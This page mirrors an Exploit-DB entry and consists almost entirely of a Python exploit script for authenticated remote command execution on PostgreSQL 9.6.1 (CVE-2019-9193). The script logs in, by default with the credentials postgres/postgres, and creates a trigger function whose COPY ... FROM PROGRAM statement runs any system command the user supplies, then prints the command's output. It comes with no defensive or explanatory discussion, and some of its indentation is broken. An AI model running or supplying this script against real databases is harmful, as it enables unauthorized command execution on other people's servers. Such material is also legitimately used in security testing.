PostgreSQL 9.6.1 – Remote Code Execution (RCE) (Authenticated)

  • 作者: Paulo Trindade
    日期: 2023-04-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51247/
  • # Exploit Title: PostgreSQL 9.6.1 - Remote Code Execution (RCE) (Authenticated)
    # Date: 2023-02-01
    # Exploit Author: Paulo Trindade (@paulotrindadec), Bruno Stabelini (@Bruno Stabelini), Diego Farias (@fulcrum) and Weslley Shaimon
    # Github: https://github.com/paulotrindadec/CVE-2019-9193
    # Version: PostgreSQL 9.6.1 on x86_64-pc-linux-gnu
    # Tested on: Red Hat Enterprise Linux Server 7.9
    # CVE: CVE-2019–9193
    
    #!/usr/bin/python3 
    
    import sys
    import psycopg2
    import argparse
    
    
    def parseArgs():
    parser = argparse.ArgumentParser(description='PostgreSQL 9.6.1 Authenticated Remote Code Execution')
    parser.add_argument('-i', '--ip', nargs='?', type=str, default='127.0.0.1', help='The IP address of the PostgreSQL DB [Default: 127.0.0.1]')
    parser.add_argument('-p', '--port', nargs='?', type=int, default=5432, help='The port of the PostgreSQL DB [Default: 5432]')
    parser.add_argument('-U', '--user', nargs='?', default='postgres', help='Username to connect to the PostgreSQL DB [Default: postgres]')
    parser.add_argument('-P', '--password', nargs='?', default='postgres', help='Password to connect to the the PostgreSQL DB [Default: postgres]')
    parser.add_argument('-c', '--command', nargs='?', help='System command to run')
    args = parser.parse_args()
    return args
    
    def main():
    	try:
    
    		# Variables
    		RHOST = args.ip
    		RPORT = args.port
    		USER = args.user
    		PASS = args.password
    
    		print(f"\r\n[+] Connect to PostgreSQL - {RHOST}")
    		con = psycopg2.connect(host=RHOST, port=RPORT, user=USER, password=PASS)
    
    		if (args.command):
    			exploit(con)
    		else:
    			print ("[!] Add argument -c [COMMAND] to execute system commands")
    
    	except psycopg2.OperationalError as e:
    		print("Error")
    		print ("\r\n[-] Failed to connect with PostgreSQL")
    		exit()
    
    def exploit(con):
    	cur = con.cursor()
    
    	CMD = args.command
    
    	try:
    		print('[*] Running\n')
    		cur.execute("DROP TABLE IF EXISTS triggeroffsec;")
    		cur.execute("DROP FUNCTION triggeroffsecexeccmd() cascade;")
    		cur.execute("DROP TABLE IF EXISTS triggeroffsecsource;")
    		cur.execute("DROP TRIGGER IF EXISTS shoottriggeroffsecexeccmd on triggeroffsecsource;")
    
    		cur.execute("CREATE TABLE triggeroffsec (id serial PRIMARY KEY, cmdout text);")
    
    		cur.execute("""CREATE OR REPLACE FUNCTION triggeroffsecexeccmd()
    					RETURNS TRIGGER
    					LANGUAGE plpgsql
    					AS $BODY$
    					BEGIN
    					COPY triggeroffsec (cmdout) FROM PROGRAM %s;
    					RETURN NULL;
    					END;
    					$BODY$;
    					""",[CMD,]
    					)
    
    		cur.execute("CREATE TABLE triggeroffsecsource(s_id integer PRIMARY KEY);")
    
    		cur.execute("""CREATE TRIGGER shoottriggeroffsecexeccmd
    				AFTER INSERT
    				ON triggeroffsecsource
    				FOR EACH STATEMENT
    				EXECUTE PROCEDURE triggeroffsecexeccmd();
    				""")
    
    		cur.execute("INSERT INTO triggeroffsecsource VALUES (2);")
    
    		cur.execute("TABLE triggeroffsec;")
    
    		con.commit()
    
    		returncmd = cur.fetchall()
    		for result in returncmd:
    			print(result)
    
    	except (Exception, psycopg2.DatabaseError) as error:
    	 	print(error)
    
    
    	finally:
    		if con is not None:
    			con.close()
    			#print("Closed connection")
    
    if __name__ == "__main__":
    args = parseArgs()
    main()